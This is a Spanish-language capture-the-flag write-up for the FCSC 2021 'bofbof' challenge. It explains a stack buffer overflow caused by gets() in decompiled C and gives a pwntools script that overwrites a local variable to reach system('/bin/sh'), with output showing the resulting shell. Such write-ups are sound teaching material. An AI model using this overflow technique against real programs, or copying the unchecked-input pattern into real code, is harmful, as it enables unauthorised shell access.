bofbof
July 20, 20252 minutes
Para este reto se proporciona un binario
undefined8 main(void)
{
char local_38 [40];
long local_10;
local_10 = 0x4141414141414141;
printf("Comment est votre blanquette ?\n>>> ");
fflush(stdout);
gets(local_38);
if (local_10 != 0x4141414141414141) {
if (local_10 == 0x1122334455667788) {
vuln();
}
puts("Almost there!");
}
return 0;
}
En la función main de dicho binario se le pide un input al usuario con la función gets, esto lo hace vulnerable a buffer overlof, ya que gets no válida la longitud del input del usuario, por lo que si es más grande que el buffer definido para ese input, causa un desbordamiento del buffer y termina sobreescribiendo otras partes del stack.
El input se guarda en local_38 y en local_10 se almacena 0x4141414141414141
.
Después hace un if para comprobar si local_10 no es igual al valor que se le había asignado previamente, si cumple esa condición comprueba si local_10 equivale a 0x1122334455667788
si también se cumple esa condición se llama a la función vuln
void vuln(void)
{
system("/bin/sh");
/* WARNING: Subroutine does not return */
exit(1);
}
La función vuln ejecuta /bin/sh, proporcionando una shell.
El objetivo es mediante el overflow de local_38 llegar a sobreescribir local_10 con 0x1122334455667788, como local_38 tiene un buffer de 40 bytes hay que poner 40 bytes de junk y luego añadir el contenido que va a tener local_10
#!/usr/bin/env python3
from pwn import *
exe = ELF("./bofbof_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("localhost", 4000)
return r
def main():
r = conn()
# good luck pwning :)
payload = b'A' * 40
payload += p64(0x1122334455667788)
r.sendlineafter(b'>>', payload)
r.interactive()
if __name__ == "__main__":
main()
[d3bo@archlinux 2021]$ python3 solve.py
[*] '/home/d3bo/Desktop/ctf/fcsc/2021/bofbof_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
[+] Opening connection to localhost on port 4000: Done
[*] Switching to interactive mode
> $ ls
bofbof
flag.txt
$